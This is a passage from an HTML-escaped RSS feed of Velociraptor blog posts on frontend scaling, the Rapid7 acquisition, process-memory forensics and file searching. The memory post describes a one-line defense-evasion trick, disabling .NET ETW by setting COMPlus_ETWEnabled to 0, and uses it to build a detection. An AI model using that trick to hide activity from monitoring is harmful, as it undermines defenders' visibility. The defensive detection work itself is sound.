pattern:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Frontends always append to files, generally file data is not modified after writing (Think of a VQL Query results set — these are simple JSONL files that are written in chunks but never modified once written)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The same file is never written by multiple frontends at the same time — each file exists within the client’s path and therefore is only accessed by one client at the time. Since a client is only connected to a single frontend, there is no need for complicated locking schemes.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The result is that Velociraptor’s data store is truly lock free, and therefore we do not need to worry about NFS file locking (which is often complicated or not implemented).&lt;/p&gt;&#xA;&lt;p&gt;Additionally, cloud providers offer highly scalable NFS services with essentially unlimited storage and very high IO bandwidth. This makes it operationally easier to manage storage requirements (We often run out of disk space when using a fixed disk attached to a virtual machine). Additionally, EFS is changed per usage so it is easier to budget for it.&lt;/p&gt;&#xA;&lt;h3 id=&#34;message-passing&#34;&gt;Message passing&lt;/h3&gt;&#xA;&lt;p&gt;So if we simply run multiple frontends on different machines, load balance our clients to these frontends, and have all separate frontends simply write to the same shared NFS directory, this should work?&lt;/p&gt;&#xA;&lt;p&gt;Not quite! Consider the following simple scenario, where multiple frontends are all sharing the same data store:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-04-29-scaling-velociraptor-57acc4df76ed/../../img/0gm3Boo6wDiHX4bDP&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The admin browser (on the left) is connected to the GUI on one frontend, and is tasking a new collection from a client which happened to be connected to another frontend (on the right). There is no way to tell that client there is new work for it. Remember that Velociraptor does not rely on polling, all clients are always connected and can be tasked immediately! So we really need a low latency mechanism to inform the client that new work is available.&lt;/p&gt;&#xA;&lt;p&gt;In order to facilitate this there has to be a way for frontends to communicate with each other and pass messages with very low latency (i.e. we need a message passing architecture). The GUI needs to simply message all frontends that a new collection is scheduled for a particular client, and the one frontend which presently has that client connected will immediately task it.&lt;/p&gt;&#xA;&lt;h3 id=&#34;multi-frontend-architecture&#34;&gt;Multi frontend architecture&lt;/h3&gt;&#xA;&lt;p&gt;The latest release (0.5.9) features a multi frontend architecture. To simplify the message passing design, we designate one frontend as the &lt;strong&gt;Master&lt;/strong&gt; and the other servers as the &lt;strong&gt;Minions.&lt;/strong&gt; Velociraptor implements a simple steaming gRPC based &lt;strong&gt;replication service&lt;/strong&gt; — replicating messages from each minion server to the master and from the master to all minion servers.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-04-29-scaling-velociraptor-57acc4df76ed/../../img/0cb6CiHW_m4COLHtf&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Minions receive events from the Master and generate events to send to the master, while the Master brokers all messages between minions. The Master node also runs the GUI and some other services, but the bulk of the client communication and collection is handled by the Minions.&lt;/p&gt;&#xA;&lt;p&gt;Note that in this architecture, the GUI is running on a single frontend, and the number of clients handled by it can be reduced, keeping the GUI particularly responsive.&lt;/p&gt;&#xA;&lt;h3 id=&#34;load-balancing&#34;&gt;Load balancing&lt;/h3&gt;&#xA;&lt;p&gt;In order to spread the load evenly between the multiple frontends, it is possible to use a load balancer in front of all the frontends.&lt;/p&gt;&#xA;&lt;p&gt;As an alternative, it is possible to allow the Velociraptor clients themselves to load balance by providing multiple frontend URLs within the clients’ configuration. Clients will pick a frontend in random and rotate through the frontends randomly. This should result in relatively even distribution of clients between all the frontends.&lt;/p&gt;&#xA;&lt;h3 id=&#34;current-implementation&#34;&gt;Current implementation&lt;/h3&gt;&#xA;&lt;p&gt;The upcoming 0.5.9 release uses command line arguments to control the type of frontend. By default a frontend will be started as a master, starting all services including the GUI in process. This is exactly the same behavior as the previous single frontend architecture so it should not affect existing users.&lt;/p&gt;&#xA;&lt;p&gt;In order to allow minion frontends to connect one must:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Mount the EFS or NFS directory on both master and all minion servers adjusting the &lt;strong&gt;Datastore.location&lt;/strong&gt; path in the configuration file if needed.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Add a new frontend using the &lt;strong&gt;velociraptor config frontend&lt;/strong&gt; command&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In order to start a minion frontend, one must specify the minion flag and the name of the node (the name consists of the dns name of the frontend followed by the port). The process is illustrated below.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-04-29-scaling-velociraptor-57acc4df76ed/../../img/1_rSIMZokO0O4i2SGfuep3w.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;The new architecture is still experimental but shows great promise to be able to scale Velociraptor to the next level. We need contributions from the community with polishing the new architecture and making it easier to deploy in wide deployment scenarios (for example Terraform templates, or docker files).&lt;/p&gt;&#xA;&lt;p&gt;If you would like to contribute to this effort, take&lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt; Velociraptor for a spin&lt;/a&gt;! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list &lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt; . You can also chat with us directly on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>The Next Phase of Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-04-21-the-next-phase-of-velociraptor-bf696c2c3491/</link>
      <pubDate>Wed, 21 Apr 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-04-21-the-next-phase-of-velociraptor-bf696c2c3491/</guid>
      <description>&lt;p&gt;We’ve made great strides on our journey to make the Velociraptor vision come true. We’ve built an open-source Velociraptor to help users deploy a world-class tool for endpoint monitoring, digital forensics, and incident response. Today, I am happy to announce our new home with Rapid7.&lt;/p&gt;&#xA;&lt;p&gt;Boston-based &lt;strong&gt;Rapid7,&lt;/strong&gt; &lt;strong&gt;provider of security analytics and automation, has acquired the Velociraptor open-source technology and community&lt;/strong&gt;. Rapid7 shares our vision and will help us continue to achieve it. We’re gaining a great partner in Rapid7 on this journey.&lt;/p&gt;&#xA;&lt;p&gt;In the many years I’ve been in cybersecurity — including time at Australian Signals Directorate (currently known as &lt;a href=&#34;https://www.cyber.gov.au/&#34; target=&#34;_blank&#34; &gt;ACSC&lt;/a&gt;), the &lt;a href=&#34;https://www.afp.gov.au/what-we-do/crime-types/cyber-crime&#34; target=&#34;_blank&#34; &gt;Australian Federal Policy&lt;/a&gt;, and Google’s DFIR team — I’ve learned that digital forensics and incident response (DFIR) is a unique field. Defenders are typically at a disadvantage for a few reasons:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Attackers only need one of the many possible avenues to compromise the network&lt;/strong&gt;, while defenders have to cover all avenues effectively.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Defenders have to detect more attacks on the endpoint&lt;/strong&gt; as organizations expand their environments beyond the network perimeter to interconnected systems on the internet.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;New vulnerabilities are being discovered almost daily&lt;/strong&gt; and attack tools like ransomware are designed to extract maximum damage from victims (in the good old days, the worst an attacker might achieve is a defaced website!).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Building out DFIR capabilities requires specialized knowledge and skills&lt;/strong&gt; in the intricacies of operating systems, web technologies and networking just to understand the advisories, let alone to detect breaches on the network.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Velociraptor was born from these observations. As an open-source developer and contributor for many years, it became clear to me that the way forward lies in open source and, more importantly, the ability of open source to bring together a community of users and developers. No one person, team or company can cover the entire DFIR field quickly and sufficiently enough. It is clearly a task for a community effort!&lt;/p&gt;&#xA;&lt;p&gt;I also observed that existing open-source tools required a high-level of development skills to contribute code, and had a long release/deployment cycle. Velociraptor’s unique approach is to provide powerful building blocks accessible through a simple query language called VQL. Having an intermediate query language as the mechanism to write new detection, collection and analysis capabilities in Velociraptor facilitates the following goals:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;VQL must be simpler to learn than a full-featured programming language&lt;/strong&gt; to lower the barrier to entry for prospective contributors. In many cases, VQL can be tweaked from existing queries to cover novel detection or analysis techniques using primitives already available in Velociraptor (like NTFS analysis) but combined in novel ways.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;VQL must be able to be deployed quickly.&lt;/strong&gt; Since VQL queries can be added at runtime without the need to rebuild or re-deploy endpoint software, they can be used instantly to hunt for new indicators in minutes.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The Velociraptor vision is that VQL queries are the medium of information sharing and exchange between DFIR experts, researchers, and the users who are desperately trying to determine if their networks are compromised.&lt;/p&gt;&#xA;&lt;p&gt;Attack methods are becoming more sophisticated all the time, and the techniques required to detect these go far beyond simple hashes, event log forwarding, and Yara signature of current technology. Techniques such as analysis of evidence of execution, low-level NTFS artifacts, parsing process memory and various artifacts left behind on disk are now required to reconstruct the attack timeline for effective detection and remediation. It is clear that Velociraptor needs to provide access to these advanced analysis techniques to enable sophisticated novel detection at scale on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;A new partnership&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am very excited that Rapid7 shares our community’s vision and will help us achieve it. The one aspect I was really excited about is Rapid7’s commitment to open source and track record of responsible stewardship. The company created an open-source community of its own with &lt;a href=&#34;https://attackerkb.com/&#34; target=&#34;_blank&#34; &gt;AttackerKB&lt;/a&gt;, a community-driven platform where security professionals exchange information about vulnerabilities to better understand the impact and likelihood of being exploited. And Rapid7 has been shepherding and supporting the &lt;a href=&#34;https://www.metasploit.com/&#34; target=&#34;_blank&#34; &gt;Metasploit&lt;/a&gt; Project, which it acquired nearly a dozen years ago.&lt;/p&gt;&#xA;&lt;p&gt;The Metasploit Project is still one of the most consistently active open-source security projects and communities in the world. Rapid7 recognizes the immense value of ongoing collaboration between the community and the Metasploit open-source team, and the company has continued to invest in and nurture Metasploit. In return, the Metasploit community has built trust with Rapid7. Under Rapid7’s stewardship, the Metasploit Project continues to grow, thrive, and evolve.&lt;/p&gt;&#xA;&lt;p&gt;There is a great synergy between Metasploit — the standard red team framework — and Velociraptor — the standard blue team platform. When a new vulnerability or exploit is published, the Metasploit project implements a module targeting it within days. Imagine a Velociraptor VQL query being published within a similar timeline! Rapid7 is a natural choice for nurturing and drawing from the collective knowledge of both red and blue teams.&lt;/p&gt;&#xA;&lt;p&gt;Much like Rapid7 has done for Metasploit, the company is committed to building the Velociraptor community. I will be joining Rapid7 to continue leadership and support of the community — with all of the resources of Rapid7 to back me up — so, together, we may improve the state of blue teaming and defense.&lt;/p&gt;&#xA;&lt;p&gt;Rapid7 also has a vibrant services team that experiences daily the cybersecurity breaches that we are trying to defend against. Having practical, hands-on exposure to current and emerging threats places Rapid7 in the unique position of contributing and supporting Velociraptor — thereby feeding a lot of the practical, real-world experience to the community in the form of effective, well-tested VQL queries. Additionally, integrating Velociraptor into a large-scale detection capability will provide the impetus to develop a highly scalable Velociraptor server that’s able to serve a large number of endpoints efficiently.&lt;/p&gt;&#xA;&lt;p&gt;Rapid7’s commitment to the future of the Velociraptor community will ensure that Velociraptor is well-known globally. With conference appearances and community events, Rapid7 will promote the tool, grow the community, increase the types of users, and cater to a wider set of needs. This will benefit the entire community, as Velociraptor’s capabilities are improved.&lt;/p&gt;&#xA;&lt;p&gt;Rapid7 will enable Velociraptor to graduate to the “next level” in terms of scale, development velocity, stability and capability by drawing on a wide-range of capable and experienced people to support the project. I am very excited to see the Velociraptor vision coming true.&lt;/p&gt;&#xA;&lt;p&gt;There are no plans to commercialize Velociraptor. However, the Managed Detection and Response teams at Rapid7 will immediately leverage Velociraptor and insights from the community to enhance its incident response capabilities for customers. Further, integration of Velociraptor’s endpoint data collection capabilities with Rapid7’s Insight agent will greatly increase Rapid7’s endpoint visibility and detection capabilities and deliver immediate benefits to its customers.&lt;/p&gt;&#xA;&lt;p&gt;Finally, dear reader, if you also share our vision for a powerful and free open-source platform to enable blue-teamers to quickly hunt, detect, and remediate novel threats, consider joining our community. Download Velociraptor from &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;GitHub&lt;/a&gt;, kick the tires, and provide feedback.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Check out the &lt;a href=&#34;https://www.rapid7.com/blog/post/2021/04/21/rapid7-and-velociraptor-join-forces&#34; target=&#34;_blank&#34; &gt;blog&lt;/a&gt; Rapid7 posted&lt;/strong&gt; about their commitment to supporting this community.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Digging into process memory</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-04-16-digging-into-process-memory-33c60a640cdb/</link>
      <pubDate>Fri, 16 Apr 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-04-16-digging-into-process-memory-33c60a640cdb/</guid>
      <description>&lt;p&gt;Unlike traditional dead disk forensic tools, Velociraptor’s main advantage is that it is capable of directly looking at volatile system state, such as running processes, open files and currently connected sockets. This class of forensic artifacts are called Volatile Artifacts since they change rapidly as the system operates — processes can start and stop quickly, files can be closed etc.&lt;/p&gt;&#xA;&lt;p&gt;Traditionally, acquiring volatile artifacts meant taking a raw physical memory image, and then analyzing this with a memory analysis framework such as &lt;a href=&#34;https://github.com/volatilityfoundation/volatility&#34; target=&#34;_blank&#34; &gt;Volatility&lt;/a&gt; or &lt;a href=&#34;https://github.com/google/rekall&#34; target=&#34;_blank&#34; &gt;Rekall&lt;/a&gt;. These frameworks reassemble the contents of physical memory into higher level abstractions, like processes, threads, registry content etc.&lt;/p&gt;&#xA;&lt;p&gt;While at first it might appear that a physical memory image contains a perfect snapshot of the running state of a system, this is not typically the case. The physical memory image only contains those pages currently locked into physical memory — however, modern operating systems use virtual memory to represent process and kernel memory address spaces. Each virtual memory address may refer to either paged out memory (i.e. only present in the page file) or memory mapped files (i.e. only present on the file system in e.g. dll or executable files), neither of which are typically included in a physical memory image.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, most physical memory images obtained in a DFIR setting, contains acquisition smear (i.e. the memory is changing during the acquisition process). This smear leads to inconsistencies, making memory analysis from physical memory samples generally a hit or miss affair.&lt;/p&gt;&#xA;&lt;p&gt;For DFIR purposes it is preferable to extract data directly from the running system, rather than rely on fragile memory analysis. For example, to obtain a list of processes, it is always more reliable to use the system APIs than to take a full memory image, ship it off the endpoint, and then use a framework like Volatility to extract the same data from the raw image.&lt;/p&gt;&#xA;&lt;p&gt;Many of the same techniques implemented in Volatility for physical memory analysis can also be implemented directly on the endpoint using OS APIs. Velociraptor already contains plugins such as “vad”, “pslist”, “modules”, “handles”, “objtree” etc.&lt;/p&gt;&#xA;&lt;p&gt;Consider the identification of malicious processes running in memory. Many modern tools use memory only injection, where malicious code is added to processes but is never written to disk. Detecting this type of malware requires inspection of process memory using for example a Yara signature.&lt;/p&gt;&#xA;&lt;p&gt;For example, &lt;a href=&#34;https://malpedia.caad.fkie.fraunhofer.de/&#34; target=&#34;_blank&#34; &gt;Malpedia&lt;/a&gt; contains Yara signatures for common malware families derived from automated identification of common code blocks. We can apply these signatures to detect memory injected &lt;a href=&#34;https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike&#34; target=&#34;_blank&#34; &gt;Cobalt Strike beacon&lt;/a&gt; by simply scanning each process address space and reporting any hits.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor included bindings to libyara’s process scanning capabilities for a while now, exposed through the VQL plugin proc_yara() and usable through artifacts such as &lt;a href=&#34;https://github.com/Velocidex/velociraptor/blob/master/artifacts/definitions/Windows/Detection/ProcessMemory/CobaltStrike.yaml&#34; target=&#34;_blank&#34; &gt;Windows.Detection.ProcessMemory.CobaltStrike&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;direct-access-to-process-memory&#34;&gt;Direct access to process memory&lt;/h3&gt;&#xA;&lt;p&gt;Since release 0.5.8, Velociraptor provides direct access to process memory via the “process” &lt;a href=&#34;https://www.velocidex.com/docs/user-interface/investigating_clients/virtual_filesystem/#filesystem-accessors&#34; target=&#34;_blank&#34; &gt;accessor&lt;/a&gt;. This allows any plugins and functions that normally operate on files to also operate on process memory, as if the process memory was just another file.&lt;/p&gt;&#xA;&lt;p&gt;To demonstrate this new accessor, I will write “this is a test” in notepad without saving the file on disk (so the string exists only in memory). I will then write some VQL to detect this string in the process memory of notepad&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-04-16-digging-into-process-memory-33c60a640cdb/../../img/1jhU1ZpOf3ArKtHQsES5UpA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above example, I am iterating over all processes with a name matching “notepad” and then applying a yara signature over their process address space. The “process” accessor allows me to open the process represented by the filename “/&lt;pid&gt;” as if it was a file. The &lt;code&gt;yara()&lt;/code&gt; plugin (which normally operates on files) will just see process memory as another file to scan.&lt;/p&gt;&#xA;&lt;p&gt;I can then also extract some context around the hits to see if the hit is a false positive.&lt;/p&gt;&#xA;&lt;h3 id=&#34;determining-process-environment-variables&#34;&gt;Determining process environment variables&lt;/h3&gt;&#xA;&lt;p&gt;When a process is launched it receives environment variables that often affect the way the launched program behaves. I was curious to see if it is possible to determine the environment variables that a process is launched with?&lt;/p&gt;&#xA;&lt;p&gt;On windows, each process is started with a &lt;a href=&#34;https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb&#34; target=&#34;_blank&#34; &gt;Process Environment Block&lt;/a&gt;. This data structure is populated by the OS before the process is created and contains important information about the process. Processes can extract this information at runtime. The process environment variables are stored in the PEB too and therefore we can parse these out from each process’s memory.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor has a powerful binary parser built in, as was described previously in the post “&lt;a href=&#34;https://velociraptor.velocidex.com/parsing-binary-files-d31114a41f14&#34; target=&#34;_blank&#34; &gt;Parsing binary files&lt;/a&gt;”. Having the process memory exposed via an accessor allows us to apply this parser to process memory via a VQL query.&lt;/p&gt;&#xA;&lt;p&gt;If you are interested in the details, check out the VQL for the &lt;code&gt;Windows.Forensics.ProcessInfo&lt;/code&gt; artifact &lt;a href=&#34;https://github.com/Velocidex/velociraptor/blob/master/artifacts/definitions/Windows/Forensics/ProcessInfo.yaml&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt;, but here is the result of collecting the process information (including each process’s environment variables) from my system&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-04-16-digging-into-process-memory-33c60a640cdb/../../img/1uuWWzOGWgSnIg_4Or8JLrQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;detecting-etw-subversion&#34;&gt;Detecting ETW subversion.&lt;/h3&gt;&#xA;&lt;p&gt;Recently I read Adam Chester’s &lt;a href=&#34;https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/&#34; target=&#34;_blank&#34; &gt;blog post&lt;/a&gt; where he described his finding that the .NET ETW provider can simply be disabled by setting the &lt;code&gt;COMPlus_ETWEnabled&lt;/code&gt; environment variable to 0. This is dramatically demonstrated by using process hacker to inspect the .NET assemblies of a powershell process.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-04-16-digging-into-process-memory-33c60a640cdb/../../img/1GCGVJTqyGR9Hc66F6cFiJg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;When the &lt;code&gt;COMPlus_ETWEnabled&lt;/code&gt; environment variable is set to “0”, process hacker will be unable to inspect the loaded assemblies, since it relies on ETW support to do so and this is disabled within the running powershell process.&lt;/p&gt;&#xA;&lt;p&gt;While this anti-detection technique is very simple for attackers to implement — they simply set an environment variable before launching the target binary, it should be very easy for us to detect it, using the following heuristics:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Iterate over all processes, and&lt;/li&gt;&#xA;&lt;li&gt;if any process has an environment variable starting with “COMPlus_” then it is suspicious.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Our VQL can take advantage of the existing &lt;code&gt;Windows.Forensics.ProcessInfo&lt;/code&gt; artifact and simply inspect each process’s environment dictionary&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-04-16-digging-into-process-memory-33c60a640cdb/../../img/1QgWxuYVpwR0yVpqq8LnPkA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above query we extract each process and its environment dictionary from the &lt;code&gt;Windows.Forensics.ProcessInfo&lt;/code&gt; artifact, then iterate over each key and value using the &lt;em&gt;items()&lt;/em&gt; plugin, filtering any keys beginning with “COMPlus”.&lt;/p&gt;&#xA;&lt;p&gt;To convert this VQL into a detection, we now encapsulate the query in an artifact and hunt all our endpoints for processes that have the environment variable set. In practice, there should not be any legitimate reason to switch off the .NET ETW provider, so if we see this variable set in the environment, it is a very strong signal and requires further investigation.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;This post introduced the “process” accessor, which exposes process memory to all VQL plugins that can usually access files. The process accessor allows us to implement memory analysis techniques on running processes in real time, safely, quickly and reliably, without needing to resort to acquiring and analysing full physical memory images. This provides unprecedented visibility into the state of the endpoint and forms the basis for novel detection and hunting possibilities.&lt;/p&gt;&#xA;&lt;p&gt;To use this feature yourself, take&lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt; Velociraptor for a spin&lt;/a&gt;! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list &lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt; . You can also chat with us directly on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Digging for files with Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/</link>
      <pubDate>Sat, 13 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/</guid>
      <description>&lt;p&gt;One of the most common questions in digital forensics is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;Is a file with a specific filename currently present on this system or was it in the past?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There are many scenarios that lead to this question, from theft of IP by rogue employees, to drive by downloads from malicious websites or even victims of phishing emails. Often we need to scope this question to the entire network (Which machines had this file?) or potentially 10s of thousands endpoints.&lt;/p&gt;&#xA;&lt;p&gt;This post recounts some of the techniques we can use within Velociraptor to answer this question. Most of these techniques should be very familiar to DFIR practitioners, but we will discuss how they are implemented in Velociraptor specifically.&lt;/p&gt;&#xA;&lt;p&gt;For this post I will create a text file with a unique name Abagnale.txt and I will attempt to find it on my test system.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/1u0_dhIcf9zdcRdO0x1rAdw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;searching-for-files-using-windowssearchfilefinder&#34;&gt;Searching for files using Windows.Search.FileFinder&lt;/h3&gt;&#xA;&lt;p&gt;The first artifact we can use to search for files is the aptly named FileFinder artifact (There are variants for Linux/MacOS and Windows). I will simply add a new collection, search for the file finder and select the &lt;code&gt;Windows.Search.FileFinder&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/1YD4Zee8PdP8nw3b-mcFDeQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next I will configure the artifact parameters.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/13ebC-8_xkdROGTsmuCoreg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The FileFinder artifact uses a glob expression to find files through the filesystem. A glob expression uses simple wildcards to match files by filename. In Velociraptor a &lt;code&gt;**&lt;/code&gt; glob expression means recursively descend into subdirectories, so in our case the glob expression 